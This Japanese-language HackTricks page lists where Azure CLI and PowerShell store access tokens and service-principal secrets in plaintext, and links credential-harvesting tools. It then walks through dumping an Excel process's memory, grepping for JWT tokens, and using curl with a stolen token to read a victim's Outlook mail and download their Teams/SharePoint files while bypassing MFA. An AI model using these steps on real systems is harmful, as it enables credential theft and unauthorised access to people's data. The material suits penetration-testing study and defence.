# Az - ローカルクラウド資格情報

{{#include ../../../banners/hacktricks-training.md}}

## ローカルトークンストレージとセキュリティ考慮事項

### Azure CLI (コマンドラインインターフェース)

トークンと機密データはAzure CLIによってローカルに保存されており、セキュリティ上の懸念があります：

1. **アクセストークン**: `C:\Users\<username>\.Azure`にある`accessTokens.json`にプレーンテキストで保存されています。
2. **サブスクリプション情報**: 同じディレクトリにある`azureProfile.json`にはサブスクリプションの詳細が含まれています。
3. **ログファイル**: `.azure`内の`ErrorRecords`フォルダーには、次のような資格情報が露出したログが含まれている可能性があります：
- 資格情報が埋め込まれた実行されたコマンド。
- トークンを使用してアクセスされたURL、機密情報を明らかにする可能性があります。

### Azure PowerShell

Azure PowerShellもトークンと機密データを保存しており、ローカルでアクセスできます：

1. **アクセストークン**: `C:\Users\<username>\.Azure`にある`TokenCache.dat`にプレーンテキストで保存されています。
2. **サービスプリンシパルシークレット**: これらは`AzureRmContext.json`に暗号化されずに保存されています。
3. **トークン保存機能**: ユーザーは`Save-AzContext`コマンドを使用してトークンを永続化することができますが、不正アクセスを防ぐために注意して使用する必要があります。

### 自動ツールでの発見

- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)

## メモリ内のトークン

[**このビデオ**](https://www.youtube.com/watch?v=OHKZkXC4Duw)で説明されているように、クラウドと同期された一部のMicrosoftソフトウェア（Excel、Teamsなど）は、**メモリ内にプレーンテキストでアクセストークンを保存する可能性があります**。したがって、プロセスの**メモリをダンプ**し、**JWTトークンをgrep**することで、MFAをバイパスしてクラウド内の被害者のいくつかのリソースにアクセスできるかもしれません。

手順：

1. お気に入りのツールを使用して、EntraIDユーザーと同期されたExcelプロセスをダンプします。
2. `string excel.dmp | grep 'eyJ0'`を実行し、出力内のいくつかのトークンを見つけます。
3. 最も興味のあるトークンを見つけ、それらに対してツールを実行します：
```bash
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**この種のアクセストークンは、他のプロセス内にも存在する可能性があることに注意してください。**

{{#include ../../../banners/hacktricks-training.md}}
